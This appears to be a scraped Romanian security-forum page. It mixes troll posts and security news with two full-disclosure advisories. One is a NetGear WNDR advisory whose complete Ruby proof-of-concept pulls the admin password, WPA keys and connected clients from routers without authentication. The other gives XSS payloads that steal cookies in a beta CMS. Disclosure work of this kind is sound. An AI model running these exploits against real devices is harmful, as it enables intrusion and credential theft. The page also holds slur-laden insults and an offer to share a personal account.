Aerosol

@NETGEAR mi-ai mentionat posturile in acest thread fiindca vroiai sa stii ce inseamna autist nu? Autism - Wikipedia #Cu dedicatie pentru toti "fanii" mei care au grija sa ma sarute in locul ce nu iese soarele de fiecare data cand au sansa. Si inca un citat: "Uite, zbor peste târfe ?i p?rerile lor! " Versuri B.U.G. Mafia - Ti-o Dau La Muie

O sa impart contul meu personal cu voi ( P.M si o sa primiti datele ) - Peste 10 posturi (No troll / offtopic / Salut ) - Cel putin 2/3 luni vechime. - Nu postati aici da si mie etc... PM! Eu si asa nu-l folosesc.

>> NetGear WNDR Authentication Bypass / Information Disclosure Reported by: ---- Peter Adkins <peter.adkins () kernelpicnic.net> Access: ---- Local network; unauthenticated access. Remote network; unauthenticated access*. Tracking and identifiers: ---- CVE - Mitre contacted; not yet allocated. Platforms / Firmware confirmed affected: ---- NetGear WNDR3700v4 - V1.0.0.4SH NetGear WNDR3700v4 - V1.0.1.52 NetGear WNR2200 - V1.0.1.88 NetGear WNR2500 - V1.0.0.24 Additional platforms believed to be affected: ---- NetGear WNDR3800 NetGear WNDRMAC NetGear WPN824N NetGear WNDR4700 Vendor involvement: ---- 2015-01-18 - Initial contact with NetGear regarding vulnerability. 2015-01-18 - NetGear advised to email support with concerns. 2015-01-18 - Email sent to NetGear (support). 2015-01-19 - Email sent to Mitre. 2015-01-20 - NetGear (support) advised that a ticket had been created. 2015-01-21 - NetGear (support) requested product verification. 2015-01-21 - Replied to NetGear with information requested. 2015-01-23 - NetGear (support) requested clarification of model. 2015-01-23 - Replied to NetGear with list of affected models. 2015-01-27 - NetGear (support) replied with router security features. 2015-01-27 - Replied to NetGear and reiterated vulnerability. 2015-01-29 - Email sent to NetGear (OpenSource) regarding issue. 2015-01-30 - Case auto-closure email received from NetGear (support). 2015-02-01 - Reply from Mitre requesting additional information. 2015-02-01 - Email to Mitre with additional information. 2015-02-11 - Vulnerability published to Bugtraq and GitHub. Mitigation: ---- * Ensure remote / WAN management is disabled on the affected devices. * Only allow trusted devices access to the local network. Notes: ---- * These vulnerabilities can be leveraged "externally" over the internet, but require devices to have remote / WAN management enabled. * Due to the location of this issue (net-cgi) this vulnerability may be present in other devices and firmware revisions not listed in this document. * In the absence of a known security contact these issues were reported to NetGear support. The initial response from NetGear support was that despite these issues "the network should still stay secure" due to a number of built-in security features. Attempts to clarify the nature of this vulnerability with support were unsuccessful. This ticket has since been auto-closed while waiting for a follow up. A subsequent email sent to the NetGear 'OpenSource' contact has also gone unanswered. * If you have a NetGear device that is believed to be affected and can confirm whether the PoC works successfully, please let me know and I will update the copy of this document on GitHub (see below) and provide credit for your findings. ---- "Genie" SOAP Service ---- A number of NetGear WNDR devices contain an embedded SOAP service that is seemingly for use with the NetGear Genie application. This service allows for viewing and setting of certain router parameters, such as: * WLAN credentials and SSIDs. * Connected clients. * Guest WLAN credentials and SSIDs. * Parental control settings. At first glance, this service appears to be filtered and authenticated; HTTP requests with a `SOAPAction` header set but without a session identifier will yield a HTTP 401 error. However, a HTTP request with a blank form and a `SOAPAction` header is sufficient to execute certain requests and query information from the device. As this SOAP service is implemented by the built-in HTTP / CGI daemon, unauthenticated queries will also be answered over the internet if remote management has been enabled on the device. As a result, affected devices can be interrogated and hijacked with as little as a well placed HTTP query. The attached proof of concept uses this service in order to extract the administrator password, device serial number, WLAN details, and various details regarding clients currently connected to the device. A copy of this document, as well as the proof of concept below and a more detailed write-up has been made available via GitHub: * https://github.com/darkarnium/secpub/tree/master/NetGear/SOAPWNDR ---- Ruby PoC ---- require 'optparse' require 'nokogiri' require 'restclient' # Set defaults and parse command line arguments options = {} options[:addr] = "192.168.1.1" options[:port] = 80 options[:ssl] = false OptionParser.new do |option| option.on("--address [ADDRESS]", "Destination hostname or IP") do |a| options[:addr] = a end option.on("--port [PORT]", "Destination TCP port") do |p| options[:port] = p end option.on("--[no-]ssl", "Destination uses SSL") do |s| options[:ssl] = s end option.parse! end # Define which SOAPActions we will be using. actions = [ { :name => "Fetch password", :call => "lan_config_security_get_info", :soap => "LANConfigSecurity:1#GetInfo" }, { :name => "Fetch WLAN", :call => "wlan_config_get_info", :soap => "WLANConfiguration:1#GetInfo" }, { :name => "Fetch WPA Security Keys", :call => "wlan_config_get_wpa_keys", :soap => "WLANConfiguration:1#GetWPASecurityKeys" }, { :name => "Fetch hardware", :call => "device_info_get_info", :soap => "DeviceInfo:1#GetInfo" }, { :name => "Fetch hardware", :call => "device_info_get_attached", :soap => "DeviceInfo:1#GetAttachDevice" } #{ # :name => "Dump configuration", # :call => "device_config_get_config_info", # :soap => "DeviceConfig:1#GetConfigInfo" #} ] def device_info_get_info(xml) puts "[*] Model Number: #{xml.xpath('//ModelName').text}" puts "[*] Serial Number: #{xml.xpath('//SerialNumber').text}" puts "[*] Firmware Version: #{xml.xpath('//Firmwareversion').text}" end def lan_config_security_get_info(xml) puts "[*] Admin Password: #{xml.xpath("//NewPassword").text}" end def wlan_config_get_info(xml) puts "[*] WLAN SSID: #{xml.xpath('//NewSSID').text}" puts "[*] WLAN Enc: #{xml.xpath('//NewBasicEncryptionModes').text}" end def wlan_config_get_wpa_keys(xml) puts "[*] WLAN WPA Key: #{xml.xpath('//NewWPAPassphrase').text} " end def device_config_get_config_info(xml) puts "[*] Base64 Config: #{xml.xpath('//NewConfigFile').text} " end def device_info_get_attached(xml) # Data is '@' delimited. devices = xml.xpath('//NewAttachDevice').text.split("@") devices.each_index do |i| # First element is a device count. if i == 0 next end # Split by ';' which pulls out the device IP, name and MAC. detail = devices[i].split(";") puts "[*] Attached: #{detail[2]} - #{detail[1]} (#{detail[3]})" end end # Form endpoint based on protocol, no path is required. if options[:ssl] endpoint = "https://#{options[:addr]}:#{options[:port]}/" else endpoint = "http://#{options[:addr]}:#{options[:port]}/" end # Iterate over all actions and attempt to execute. puts "[!] Attempting to extract information from #{endpoint}" actions.each do |action| # Build the target URL and setup the HTTP client object. request = RestClient::Resource.new( endpoint, :verify_ssl => OpenSSL::SSL::VERIFY_NONE) # Fire the request and ensure a 200 OKAY. begin response = request.post( { "" => "" }, { "SOAPAction" => "urn:NETGEAR-ROUTER:service:#{action[:soap]}"}) rescue puts "[!] Failed to query remote host." abort end if response.code != 200 puts "[-] '#{action[:name]}' failed with response: #{response.code}" next end # Parse XML document. xml = Nokogiri::XML(response.body()) if xml.xpath('//ResponseCode').text == '401' puts "[-] '#{action[:name]}' failed with a SOAP error (401)" next end # Send to the processor. send(action[:call], xml) end # FIN. Source

Advisory: Reflecting XSS vulnerabitlies, unrestricted file upload and underlaying CSRF in Landsknecht Adminsystems CMS v. 4.0.1 (DEV, beta version) Advisory ID: SROEADV-2015-14 Author: Steffen Rösemann Affected Software: Landsknecht Adminsystems CMS v. 4.0.1 (DEV, beta version) Vendor URL: https://github.com/kneecht/adminsystems Vendor Status: will be patched CVE-ID: - ========================== Vulnerability Description: ========================== Landsknecht Adminsystems CMS v. 4.0.1 (DEV, beta version) suffers from reflecting XSS- , unrestricted file-upload and an underlaying CSRF-vulnerability. ================== Technical Details: ================== The content management system Landsknecht Adminsystems v. 4.0.1, which is currently in beta development stage, suffers from reflecting XSS-vulnerabilities, a unrestricted file-upload and an underlaying CSRF-vulnerability. ================== Reflecting XSS-vulnerabilities ================== A reflecting XSS vulnerability can be found in the index.php and can be abused via the vulnerable "page"-parameter. See the following example, including exploit-example: http:// {TARGET}/index.php?page=home%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E?=de%27 Another reflecting XSS vulnerability can be found in the system.php-file and can be exploited via the vulnerable "id" parameter: http:// {TARGET}/asys/site/system.php?action=users_users&mode=edit&id=1%22%3E%3Cscript%3Ealert%281%29%3C/script%3E ============================ Unrestricted file-upload / Underlaying CSRF ============================ Registered users and administrators are able to upload arbitrary files via the following upload-form, located here: http://{TARGET}/asys/site/files.php?action=upload&path=/ As there seems not be an existing permission-model, users can read/execute files an administrator/user uploaded and vice versa. This issue includes an underlaying CSRF-vulnerability, as a user is able to upload a malicious file and trick another user or the administrator into visiting the link to the file. All files get uploaded here without being renamed: http://{TARGET}/upload/files/{UPLOADED_FILE} ========= Solution: ========= The vendor has been notified. He will provide a fix for the vulnerabilities to prevent people who might use it from being attacked, although he would not recommend using the CMS because it is in its beta stage. ==================== Disclosure Timeline: ==================== 30-Jan-2015 – found the vulnerabilities 30-Jan-2015 - informed the developers (see [3]) 30-Jan-2015 – release date of this security advisory [without technical details] 30-Jan-2015 - forked Github repository of Adminsystems v. 4.0.1 to keep it available for other security researchers (see [4]) 12-Feb-2015 - release date of this security advisory 12-Feb-2015 - vendor will patch the vulnerabilities 12-Feb-2015 - send to FullDisclosure ======== Credits: ======== Vulnerability found and advisory written by Steffen Rösemann. =========== References: =========== [1] https://github.com/kneecht/adminsystems [2] http://sroesemann.blogspot.de/2015/01/sroeadv-2015-14.html [3] https://github.com/kneecht/adminsystems/issues/1 [4] https://github.com/sroesemann/adminsystems Source

Existing in some form since 2008, the popular remote access tool PlugX has as notorious a history as any malware, but according to researchers the tool saw a spike of popularity in 2014 and is the go-to malware for many adversary groups. Many attacks, especially those occurring during the latter half of the year, were seen using the tool. In fact, researchers are theorizing the further proliferation of PlugX, which enables attackers to log keystrokes, modify and copy files, capture screenshots, as well as the ability to quit processes, log users off, and completely reboot users’ machines, could suggest eventual worldwide adoption. The malware was the most used variant when it came to targeted activity in 2014 according to Crowdstrike’s Global Threat Report, released today. Despite kicking around for years, the malware is now the de facto tool for dozens of China-based adversarial groups the firm tracks. One of the ways the malware improved itself in 2014, and in turn caught on, was by switching up the way it communicates with its infrastructure further up the chain. By implementing a newer DNS command and control module, the malware has been able to send its data in the form of long DNS queries to its overseeing infrastructure. By modifying the way the DNS and HTTP requests are produced, something Crowdstrike is calling a deviation from “some of the more typically monitored protocols,” it’s made it more difficult to be detected over the past year or so. “The upward trend in use of PlugX indicates an increasing confidence in the capabilities of the platform, justifying its continued use across multiple sectors and countries,” according to the report. One of the groups that Crowdstrike caught dropping PlugX on machines was a hacking collective it calls Hurricane Panda, who used the malware’s custom DNS feature to spoof four DNS servers, including popular domains such as Pinterest.com, Adobe.com, and Github.com. Instead of their legitimate IP addresses, the malware was able to instead point these domains to a PlugX C+C node. The malware, as has been the case in the past, is commonly delivered via a spear phishing attack. Some of attacks go on to leverage a zero day from last March, CVE-2014-1761, which exploits vulnerable Microsoft RTF or Word documents. Others, meanwhile, make use of well-worn holes like CVE-2012-0158 in PowerPoint and Excel, that were also used by the IceFog, Red October, and Cloud Atlas attacks. While some of the groups using PlugX have gone out of their way to register new domains for leveraging the malware’s C+C, many domains from the last several years remain active, something else that Crowdstrike has attributed to the malware’s success and persistence over the years. The firm has two schools of thought when it comes to rationalizing how the malware has become so commonplace. It’s thought that there’s either a central malware dissemination channel that’s pushing PlugX out to adversary groups or that groups that hadn’t used PlugX in the past have recently been able to get copies of it via public repositories or the cybercrime underground. Either way, while the malware is mostly used by attackers from “countries surrounding China’s sphere of influence,” the report suggests that that trend could change soon enough. The malware has been used in recurring attacks against commercial entities in the U.S., and in other politically fueled attacks, but its rapid deployment “could be a precursor to future worldwide use,” according Crowdstrike. “The ongoing development of PlugX provides attackers with a flexible capability that requires continued vigilance on the part of network defenders in order to detect it reliably.” Source

Using a combination of vulnerabilities in the Google Play store and the Android stock browser, attackers can install malicious apps remotely on some Android devices. The attack is the result of a failure on the part of Google’s Play Store Web application to completely enforce the X-Frame-Options header, a common defense against clickjacking and other attacks. Researchers at Rapid7 discovered that combining that weakness with an XSS flaw in another area of the Play Store, or a universal XSS in some Android browsers can allow an attacker to install and launch apps. Developers at the Metasploit Project have added a module to the Metasploit Framework that can exploit these vulnerabilities on some Android devices. This module combines two vulnerabilities to achieve remote code execution on affected Android devices. First, the module exploits CVE-2014-6041, a Universal Cross-Site Scripting (UXSS) vulnerability present in versions of Android’s open source stock browser (the AOSP Browser) prior to 4.4. Second, the Google Play store’s web interface fails to enforce a X-Frame-Options: DENY header (XFO) on some error pages, and therefore, can be targeted for script injection,” the documentation from Metasploit says. “As a result, this leads to remote code execution through Google Play’s remote installation feature, as any application available on the Google Play store can be installed and launched on the user’s device.” Tod Beardsley of Rapid7 said in a blog post about the attack that users on vulnerable platforms who are always logged in to common Google services are especially at risk. “Of the vulnerable population, it is expected that many users are habitually signed into Google services, such as Gmail or YouTube. These mobile platforms are the the ones most at risk. Other browsers may also be affected,” he said. The module to exploit this attack is in Metasploit now, a circumstance that often is a precursor to a wave of attacks on a targeted vulnerability. Source

In an effort to head off the problem of malicious or misbehaving browser add-ons, Mozilla is planning to require developers to have their Firefox extensions signed by the company in the near future. As much of users’ computing has moved into their browsers in the last few years, extensions and add-ons have become important tools. There are an untold number of useful extensions for most of the major browsers, but there are also are plenty of malicious ones. Attackers have been known to insert extensions into browser Web stores or other download sites in order to steal users’ data or perform other malicious actions. There also are all kinds of somewhat legitimate extensions that may collect more data than they disclose to users or perform unwanted actions. To defeat this problem, Google requires developers to distribute their extensions through the Chrome Web store. However, Mozilla officials said they didn’t want to take that approach. “We’re responsible for our add-ons ecosystem and we can’t sit idle as our users suffer due to bad add-ons. An easy solution would be to force all developers to distribute their extensions through AMO, like what Google does for Chrome extensions. However, we believe that forcing all installs through our distribution channel is an unnecessary constraint. To keep this balance, we have come up with extension signing, which will give us better oversight on the add-ons ecosystem while not forcing AMO to be the only add-on distribution channel,” Jorge Villalobos of Mozilla said in a blog post. The idea is that sometime in the second quarter, Mozilla will begin requiring developers to submit their extensions and add-ons to AMO, the company’s main distribution channel for those apps. Each submission will go through a review process to ensure that it doesn’t exhibit any malicious or undocumented behavior. If the developer plans to host her extension on AMO and it passes the check, Mozilla will automatically sign it. If the developer plans to host the extension elsewhere, it will go through the same process and be sent back signed if it passes muster. The change will mean that after a transition period of about three months, users won’t be able to install any unsigned extensions on either the Release or Beta versions of Firefox. Villalobos said the company plans to begin displaying warnings about unsigned extensions in Firefox 39. This move by Mozilla will give users more confidence in the extensions and add-ons they’re installing. “Extensions that change the homepage and search settings without user consent have become very common, just like extensions that inject advertisements into Web pages or even inject malicious scripts into social media sites. To combat this, we created a set of add-on guidelines all add-on makers must follow, and we have been enforcing them via blocklisting (remote disabling of misbehaving extensions). However, extensions that violate these guidelines are distributed almost exclusively outside of AMO and tracking them all down has become increasingly impractical. Furthermore, malicious developers have devised ways to make their extensions harder to discover and harder to blocklist, making our jobs more difficult,” Villalobos said. Source

WordPress has become a huge target for attackers and vulnerability researchers, and with good reason. The software runs a large fraction of the sites on the Internet and serious vulnerabilities in the platform have not been hard to come by lately. But there’s now a new bug that’s been disclosed in all versions of WordPress that may allow an attacker to take over vulnerable sites. The issue lies in the fact that WordPress doesn’t contain a cryptographically secure pseudorandom number generator. A researcher named Scott Arciszewski made the WordPress maintainers aware of the problem nearly eight months ago and said that he has had very little response. “On June 25, 2014 I opened a ticked on WordPress’s issue tracker to expose a cryptographically secure pseudorandom number generator, since none was present,” he said in an advisory on Full Disclosure. “For the past 8 months, I have tried repeatedly to raise awareness of this bug, even going as far as to attend WordCamp Orlando to troll^H advocate for its examination in person. And they blew me off every time.” The consequences of an attack on the bug would be that the attacker might be able to predict the token used to generate a new password for a user’s account and thus take over the account. Arciszewski has developed a patch for the problem and published it, but it has not been integrated into WordPress. Since the public disclosure, he said he has had almost no communication from the WordPress maintainers about the vulnerability, save for one tweet from a lead developer that was later deleted. Arciszewski said he has not developed an exploit for the issue but said that an attacker would need to be able to predict the next RNG seed in order to exploit it. “There is a rule in security: attacks only get better, never worse. If this is not attackable today, there is no guarantee this will hold true in 5 or 10 years. Using /dev/urandom (which is what my proposed patch tries to do, although Stefan Esser has highlighted some flaws that would require a 4th version before it’s acceptable for merging) is a serious gain over a userland RNG,” he said by email. But, as he pointed out, this kind of bug could have a lot of value for a lot of attackers. “WordPress runs over 20% of websites on the Internet. If I were an intelligence agency (NSA, GCHQ, KGB, et al.) I would have a significant interest in hard-to-exploit critical WordPress bugs, since the likelihood of a high-value target running it as a platform is pretty significant. That’s not to say or imply that they knew about this flaw! But if they did, they probably would have sat on it forever,”Arciszewski said. WordPress officials did not respond to questions for this story before publication. Source

Sunt doar niste copii astia modifica 2/3 bucati si baga Created by GoaieBoss... ON:// de ce ai face un forum de gaming cu continut hidden? o.O Concluzie? Inca un forum de copii...

hmm tema lasa de dorit, continutul la fel dar bafta cu proiectul daca va tineti de el o sa iasa ceva!

Ba sunt mai interesante comentariile decat articolul si asta nu e nimic

AVG Internet Security 2015 provides you with protection against viruses, malware, spam, scams, phishing, and more. Plus, it has additional features such as a firewall, internet accelerator, privacy protector, and more Link: Free AVG Internet Security 2015 (100% discount)

Zemana AntiMalware 2 is a second opinion cloud-based multi-engine malware and virus scanner designed to rescue your computer from all types of viruses and malware that have infected your computer despite all the other security measures you have in place. Zemana AntiMalware 2 helps remove unwanted apps, annoying toolbars or browser add-ons and rapidly neutralizes viruses, trojans, rootkits, worms, spyware, and adware. Because of how it works, you can use Zemana AntiMalware 2 side-by-side along with most regular anti-virus programs without conflict. Best of all, Zemana AntiMalware 2 comes in both installer and portable versions, so you can pick whichever one that suits your needs best. Link: Free Zemana AntiMalware 2 (100% discount)

OneDrive — formerly known as SkyDrive — is cross-platform cloud storage offered by a well-known tech giant, Microsoft. Aside from regular features of allowing you to store and share any file type with it, OneDrive comes with additional features like built-in Office Online (which allows you to create or edit Office documents) and syncing of files stored in OneDrive across all your computers, smartphones, and tablets. OneDrive normally offers 15 GB free cloud storage to everyone. For a limited time, you can get an additional 100 GB for a total of 115 GB free cloud storage! This offer is available to US residents only. Sorry everyone else — this is Microsoft’s restriction, not ours! Sale ends in 13 days 18 hrs 36 mins Link: Free 115 GB OneDrive cloud storage by Microsoft (100% discount)

We all know about Google Drive, the cloud storage and file backup service offered by Google. Everyone can get free 15 GB cloud storage on Google Drive at any time: just signup for a Google account (or login to your existing Google account), head over to the Google Drive page, and boom — you have your free 15 GB that never expires. For a limited time, however, you can get an additional (extra) 2 GB for your Google Drive account for life. Yes, that means you will have 17 GB on Google Drive that won’t ever expire. Get it now. Sale ends in 2 days 18 hrs 36 mins Link: Free lifetime 17 GB Google Drive cloud storage (100% discount)

In this article series, we will learn about one of the most predominant malware, named Gh0st RAT, whose source code is dated back to 2001 but it is still relevant today. In this article series, we will learn what exactly is Gh0st RAT, all its variants, how it works, its characteristics, etc. What is Gh0st RAT? Gh0st RAT (Remote Access Terminal) is a trojan “Remote Access Tool” used on Windows platforms, and has been used to hack into some of the most sensitive computer networks on Earth. Gh0st RAT capabilities I think that before I delve into more technical details of Gh0st RAT, let us take a brief look at the capabilities or reach of Gh0st RAT. Below is a list of Gh0st RAT capabilities. Gh0st RAT can: Take full control of the remote screen on the infected bot. Provide real time as well as offline keystroke logging. Provide live feed of webcam, microphone of infected host. Download remote binaries on the infected remote host. Take control of remote shutdown and reboot of host. Disable infected computer remote pointer and keyboard input. Enter into shell of remote infected host with full control. Provide a list of all the active processes. Clear all existing SSDT of all existing hooks. Gh0st RAT Components This section will throw light on both at user and kernel level binaries of the Gh0st RAT toolset. Gh0st RAT has two main components: client and server. Controller Application: This is known as client, which is typically a Windows application that is used to track and manage Gh0st servers on remote compromised hosts. The two main functions this module serves is the management and control of Gh0st servers and the ability to create customized server install programs. Windows DLL (user level binary): The DLL is named SVCHOST.DLL. It is the Windows DLL that gets installed on a compromised host as a Windows service. This service is the server component of the Gh0st toolkit. It checks in to the Gh0st client on startup and awaits instructions. The setup and installation of this DLL as a service is done by the install program (Dropper) SERVER.EXE which we will discuss in a short while. INSTALL.EXE Dropper application is used to install SVCHOST.DLL. This is a stand-alone Windows application that contains all required code to prepare a compromised host for the installation of the Gh0st RAT server service and the launching of that service. Kernel Level Binary: This is present in the toolset with the .SYS filename RESSDT.SYS. This is a very small device driver that performs a single task: resetting the Windows System Service Dispatch Table (SSDT). This is the only kernel level binary in the toolset. It runs at system startup on the compromised host and removes all hooks in the SSDT. Install Program: This is commonly called “the dropper.” It contains the two above described binaries and performs all of the work necessary to install the Gh0st server on a host and startup the Gh0st service. Gh0st RAT Variants Since Gh0st Rat source code is available for everyone, Gh0st Rat has many versions available, as people have generally used and even modified the code to fit their purpose. Gh0st, because of its number of variants and encrypted capabilities, is hard to recognize. Most antivirus detections today are automatically generated, resulting in names thought out by machines. Quick, but containing information only machines find interesting. The most stable indicator of being faced with a Gh0stRat is its network communication. It is well documented and quite distinctive, as it always begins with a “magic word” which in its default configuration is “Gh0st” – thus Gh0st Rat. As one can imagine, the detection of the “Gh0st” keyword in the network stream is pretty easy, as tools like Network Intrusion Prevention System (NIPS) or even Wireshark magic words are easily available in the fixed length of 5 bytes. So the below key words are from the investigations guide that contains all the magic words from a Gh0st Network stream: “7hero, Adobe, B1X6Z, BEiLa, BeiJi, ByShe, FKJP3, FLYNN, FWAPR, FWKJG,GWRAT, Gh0st, GOLDt, HEART, HTTPS, HXWAN, Heart, IM007, ITore, KOBBX, KrisR, LUCKK, LURK0, LYRAT, Level, Lover, Lyyyy, MYFYB, MoZhe, MyRat, OXXMM, PCRat, QWPOT, Spidern, Tyjhu, URATU, W0LFKO, Wangz, Winds, World, X6RAT, XDAPR, Xjjhj, ag0ft, attac, cb1st, https, whmhl, xhjyk, 00000, ABCDE, apach, Assas, Blues, chevr, CHINA, cyl22, DrAgOn EXXMM,Eyes1, Gi0st, GM110, Hello, httpx, kaGni, light, LkxCq, lvxYT, Naver, NIGHT, NoNul, Origi, QQ_124971919, Snown, SocKt, Super, Sw@rd, v2010, VGTLS, wcker, Wh0vt, wings, X6M9K, xqwf7, YANGZ” The above is not an exhaustive list, and even magic keywords like “Spidern” and “W0LFKO” come with non-standard length of 5 bytes. Other irregular magic keywords like “DrAgOn” and “QQ_124971919? do not even compress their network traffic like most other Gh0st do. In the next article of this series, we will learn about Gh0st network connections, why it is difficult to control this type of attack, and what are the possible solutions for its control that can be put in place. References http://download01.norman.no/documents/ThemanyfacesofGh0stRat.pdf http://www.mcafee.com/in/resources/white-papers/foundstone/wp-know-your-digital-enemy.pdf Source

Tu chiar nu vezi ca asta e trimis la cosul de gunoi? o.O + RoKH RoKH is offline Banned Bautor de ceai CA ARE BAN!

The blog post of today is a bit different than usual, as you can read the full post on the Panda Security blog. Read it here: Yet another ransomware variant In this post I'm simply adding some additional information and repeating the most important points. So, there's yet another ransomware variant on the loose. You may call this one Chuingam (chewing gum?) ransomware or Xwin ransomware - pointing to respectively the file with this string 'Chuingam' dropped, or in the latter case the folder on C:\ it creates. Or just another (skiddie) Generic Ransomware. In the blog post above, I discuss the methodology to encrypt files it uses and how it creates your own personal key, as well as the ransom message and how to recover files (if you're lucky & fast enough). pgp.exe (PGP) is used to generate the public RSA key. Since pgp.exe requires the RAR password, this is temporarily stored in the file "filepas.tmp" - which is overwritten and deleted, so no chance to recover this file. As a note; it will (try to) encrypt any and all files with the following extensions: jpg, jpeg, doc, txt, pdf, tif, dbf, eps, psd, cdr, tst, MBD, xml, xls, dwg, mdf, mdb, zip, rar, cdx, docx, wps, rtf, 1CD, 4db, 4dd, adp, ADP, xld, wdb, str, pdm, itdb, pst, ptx, dxg, ppt, pptx If you've been infected with this ransomware, best thing to do is to either restore from a backup or try to restore previous files (also known as shadow copies). For additional information in regards to this specific ransomware, refer to: Yet another ransomware variant For any further background information on ransomware or further prevention & disinfection advice, I refer to my Q&A on ransomware. IOCs Hashes (SHA1) 88039ecb68749ea7d713e4cf9950ffb2947f7683 7e1dd704684f01530307f81bbdc15fe266ffd8db Domains/IPs corplawersp.com 5.63.154.90 Source

Apple has introduced two-step verification to the iMessage and FaceTime chat services in a bid to boost security. Apple's support page explains that the two-step verification process is triggered when Apple Mac or iOS users log-in to iMessage or FaceTime. The iMessage and FaceTime apps were previously accessed with only an Apple ID email address and standard password. The new verification process requires users to log-in to their Apple ID through the web which will generate an app-specific password to be used as a second layer of security. The process differs slightly from the verification needed for iCloud, which requires a four-digit code to be sent to a registered ‘trusted device', such as a phone. Apple users are also given a 14-character recovery key to allow those who have lost a trusted device to gain access to an account. People less concerned about the security of their Apple ID can disable the verification feature if they wish. The additional layers of security have been implemented to make it harder for hackers to gain access to Apple ID accounts and swipe images from iCloud or pose as the account holder on iMessage. Apple's move to add more services to two-step verification is an indication of the company's commitment to improving security on its Mac and iOS platforms. The iCloud hacks of 2014, which resulted in private images of celebrities being leaked online, highlighted the need for Apple to shore up the log-in and access process to its services. Apple has taken an active approach in dealing with security flaws, having recently issued the first automatic security update for Mac OS X. However, Apple has been accused of failing to meet a 90-day patch deadline to fix vulnerabilities in the Mac operating system, after Google publically revealed three security flaws in Mac OS X. Source

Software reverse engineering, the art of pulling programs apart to figure out how they work, is what makes it possible for sophisticated hackers to scour code for exploitable bugs. It’s also what allows those same hackers’ dangerous malware to be deconstructed and neutered. Now a new encryption trick could make both those tasks much, much harder. At the SyScan conference next month in Singapore, security researcher Jacob Torrey plans to present a new scheme he calls Hardened Anti-Reverse Engineering System, or HARES. Torrey’s method encrypts software code such that it’s only decrypted by the computer’s processor at the last possible moment before the code is executed. This prevents reverse engineering tools from reading the decrypted code as it’s being run. The result is tough-to-crack protection from any hacker who would pirate the software, suss out security flaws that could compromise users, and even in some cases understand its basic functions. “This makes an application completely opaque,” says Torrey, who works as a researcher for the New York State-based security firm Assured Information Security. “It protects software algorithms from reverse engineering, and it prevents software from being mined for vulnerabilities that can be turned into exploits.” A company like Adobe or Autodesk might use HARES as a sophisticated new form of DRM to protect their pricey software from being illegally copied. On the other hand, it could also mean the start of a new era of well-armored criminal or espionage malware that resists any attempt to determine its purpose, figure out who wrote it, or develop protections against it. As notable hacker the Grugq wrote on twitter when Torrey’s abstract was posted to SyScan’s schedule, HARES could mean the “end of easy malware analysis. ” To keep reverse engineering tools in the dark, HARES uses a hardware trick that’s possible with Intel and AMD chips called a Translation Lookaside Buffer (or TLB) Split. That TLB Split segregates the portion of a computer’s memory where a program stores its data from the portion where it stores its own code’s instructions. HARES keeps everything in that “instructions” portion of memory encrypted such that it can only be decrypted with a key that resides in the computer’s processor. (That means even sophisticated tricks like a “cold boot attack,” which literally freezes the data in a computer’s RAM, can’t pull the key out of memory.) When a common reverse engineering tool like IDA Pro reads the computer’s memory to find the program’s instructions, that TLB split redirects the reverse engineering tool to the section of memory that’s filled with encrypted, unreadable commands. “You can specifically say that encrypted memory shall not be accessed from other regions that aren’t encrypted,” says Don Andrew Bailey, a well-known security researcher for Lab Mouse Security, who has reviewed Torrey’s work. Many hackers begin their reverse engineering process with a technique called “fuzzing.” Fuzzing means they enter random data into the program in the hopes of causing it to crash, then analyze those crashes to locate more serious exploitable vulnerabilities. But Torrey says that fuzzing a program encrypted with HARES would render those crashes completely unexplainable. “You could fuzz a program, but even if you got a crash, you wouldn’t know what was causing it,” he says. “It would be like doing it blindfolded and drunk.” “IMAGINE TRYING TO FIGURE OUT WHAT STUXNET DID IF YOU COULDN’T LOOK AT IT.” Torrey says he intends HARES to be used for protection against hacking—not for creating mysterious malware that can’t be dissected. But he admits that if HARES works, it will be adopted for offensive hacking purposes, too. “Imagine trying to figure out what Stuxnet did if you couldn’t look at it,” he says. “I think this will change how [nation-state] level malware can be reacted to.” HARES’s protections aren’t quite invincible. Any program that wants to use its crypto trick needs to somehow place a decryption key in a computer’s CPU when the application is installed. In some cases, a super-sophisticated reverse engineer could intercept that key and use it to read the program’s hidden commands. But snagging the key would require him or her to plan ahead, with software that’s ready to look for it. And in some cases where software comes pre-installed on a computer, the key could be planted in the CPU ahead of time by an operating system maker like Apple or Microsoft to prevent its being compromised. “There are some concerns with this from a technical point of view,” says Bailey. “But it’s way better than anything we have out there now.” Another way to crack HARES’ encryption, says Torrey, would be to take advantage of a debugging feature in some chips. That feature allows a hardware device between the chip and the motherboard to read every command the processor executes. But taking advantage of that feature requires a five-figure-priced JTAG debugger, not a device most reverse engineers tend to have lying around. “It’s pretty high level stuff,” he says. “Obviously nation states will have these things, but probably not very many others.” Torrey notes that it may someday be possible to encrypt a program’s code in a way that its instructions can run without ever being decrypted—making software that’s truly unhackable. But such a system, known as “fully homomorphic encryption,” is still largely theoretical. It currently makes computer processes take millions of times longer than they would without encryption. HARES slows down the programs it protects by only about 2 percent. “Fully homomorphic encryption is the holy grail, but it’s an academic math problem,” Torrey says. “This is something you can stick on your existing computer to protect your existing software.” Torrey developed HARES’s TLB split trick with funding in 2013 from Darpa’s Cyber Fast Track program. He plans to release the project’s code not at March’s SyScan conference, but possibly the next month at the Infiltrate security conference in Miami. Torrey says that he wouldn’t be surprised, however, if coders determine from his March talk how to use HARES’s tricks and begin writing malware that’s far harder to decode. Give hackers an unencrypted hint or two, and they have a way of figuring out your secrets. Source

Introduction Today, Microsoft released their latest Patch Tuesday. This Patch includes a fix for vulnerability CVE-2015-0057, an IMPORTANT-rated exploitable vulnerability which we responsibly disclosed to Microsoft a few months ago. As part of our research, we revealed this privilege escalation vulnerability which, if exploited, enables a threat actor to complete control of a Windows machine. In other words, a threat actor that gains access to a Windows machine (say, through a phishing campaign) can exploit this vulnerability to bypass all Windows security measures, defeating mitigation measures such as sandboxing, kernel segregation and memory randomization. Interestingly, the exploit requires modifying only a single bit of the Windows operating system. We have verified this exploit against all supported Windows desktop versions, including Windows 10 Technical Preview. This entry starts by detailing the vulnerability. At first, it seemed to us impossible to exploit. After some hard word, however, we managed to produce a fully working exploit which we’ll describe. As part of this analysis, we also present a video which demonstrates the exploit. Finally, we conclude this entry with a buggy dead-code anecdote which we thought interesting to share. Responsible disclosure: although this blog entry is technical, we won’t reveal any code, or the complete details, to prevent any tech master from being able to reproduce an exploit. Background Over the last several years, privilege escalation vulnerabilities became all the more crucial for exploitation because they enable malicious code to run on the kernel. As such, a threat actor exploiting a privileged escalation 